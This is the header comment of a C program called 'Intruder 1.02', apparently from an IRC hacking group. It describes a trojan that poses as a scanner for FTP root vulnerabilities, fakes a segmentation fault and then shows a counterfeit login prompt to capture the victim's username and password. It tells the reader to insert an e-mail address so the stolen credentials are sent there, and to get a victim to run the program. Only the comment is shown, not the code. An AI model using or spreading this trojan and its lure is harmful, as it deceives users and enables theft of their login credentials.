/* Intruder 1.02 Written by the boys of #coderspc (Undernet) mostly
written by THeGZa, but I couldn't have done it without Guilly,
RedBull, and especially R33TaWRd. line 26 has char email[] =
"[e-mail]" change that with your e-mail address,and
 the users login and pass will be sent to you. Get your victim to run
this program on there linux box (might work in other unices, don't know?)
it's disguised as a program to see if your system is vanurable to
any ftp root bugs, then pretends a seg fault, goes back into a
hacked copy of the login sequence. Change this if you like, GIVE US
 CREDIT, for what we did, if you need to get a hold of me e-mail me
at [e-mail]. */
